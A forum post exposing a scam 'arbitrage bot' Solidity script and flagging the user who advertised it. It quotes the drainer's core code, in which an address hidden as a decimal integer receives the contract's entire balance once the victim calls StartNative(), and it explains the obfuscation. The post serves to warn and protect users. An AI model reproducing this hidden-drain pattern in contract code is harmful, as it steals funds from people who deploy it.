Bitcoin Forum
November 15, 2026, 01:06:40 AM *
News: Latest Bitcoin Core release: 32.1 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1]
  Print  
Author Topic: Fake bot script meant to drain user funds  (Read 15 times)
logfiles (OP)
Copper Member
Legendary
*
Offline

Activity: 2898
Merit: 2463



View Profile WWW
November 14, 2026, 06:56:04 PM
 #1

This thread will be used as reference for the trust flag created against jeffcormier for advertising a Fake bot script meant to drain user funds

What happened: User @jeffcormier was attempting to advertise one of his scam Fake bot script with will drain user funds. Unfortunately the moderators did not delete the thread whrn I reported it so I decided to create this thread and flag the user

Scammers Profile Link: https://bitcointalk.org/index.php?action=profile;u=3750485

Reference Link: [Testing/Log] 48-Hour Run with Automated Trading Bot (0.78 ETH to ~3 ETH)
Archived: https://ninjastic.space/topic/5599161
FAKE Script link got from the YouTube video description:
Code:
https://pastebin.com/raw/0WEqzeTN
Analysing the script indeed shows that it's meant to drain an Ether address that tries to interact with it

The core mechanism: Interpreted with the help of claude.
Code:
uint256 DexRouter = 94601342970801556929388184947529842602781864601;

function getDexRouter(uint256 _uintValue) internal pure returns (address) {
   return address(uint160(_uintValue));
}

function startArbitrageNative() internal {
    address tradeRouter = getDexRouter(DexRouter);
    payable(tradeRouter).transfer(address(this).balance);
}

function StartNative() public payable {
   startArbitrageNative();
}

Quote
--> DexRouter is a decimal integer that decodes to the address 0x109212289b1f5de610b33a2349beefb1639a7299. It is disguised as a “router” and stored as a uint so it doesn’t show up as an obvious address literal in a casual read or simple string scan.
--> StartNative() is the “Start” button the victim is told to press. It has no access control, and it transfers the entire ETH balance of the contract to that hidden address. No swap or arbitrage happens.
--> The wallet that receives the funds is the scammer’s, not the deployer’s.



Trust flag: https://bitcointalk.org/index.php?action=trust;flag=3613 (please support/oppose)

Pages: [1]
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!